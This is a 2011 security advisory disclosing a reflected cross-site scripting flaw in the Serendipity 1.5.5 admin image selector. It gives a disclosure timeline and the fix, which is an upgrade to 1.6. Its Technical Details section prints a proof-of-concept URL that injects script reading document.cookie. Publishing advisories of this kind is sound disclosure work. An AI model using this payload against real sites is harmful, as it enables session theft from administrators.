Advisory:              	Serendipity 'serendipity[filter][bp.ALT]' Cross-Site Scripting vulnerability
Advisory ID:	SSCHADV2011-015
Author:                	Stefan Schurtz
Affected Software:	Successfully tested on Serendipity 1.5.5
Vendor URL:	http://www.s9y.org
Vendor Status:	fixed
CVE-ID:		-

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Vulnerability Description:
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The parameter "serendipity[filter][bp.ALT]" in Serendipity backend is prone to a Cross-Site Scripting vulnerability

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Technical Details:
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http://<target>/serendipity/serendipity_admin_image_selector.php?serendipity[filter][bp.ALT]=</script><script>alert(document.cookie)</script>&go=+-+Go!+-+

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Solution:
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Upgrade to Serendipity 1.6

====================
Disclosure Timeline:
====================

22-Sep-2011 - informed developers
27-Oct-2011 - fixed by vendor
02-Nov-2011 - release date of this security advisory

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Credits:
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Vulnerability found and advisory written by Stefan Schurtz.

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References:
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http://www.s9y.org
http://blog.s9y.org/archives/233-Serendipity-1.6-released.html
http://www.rul3z.de/advisories/SSCHADV2011-015.txt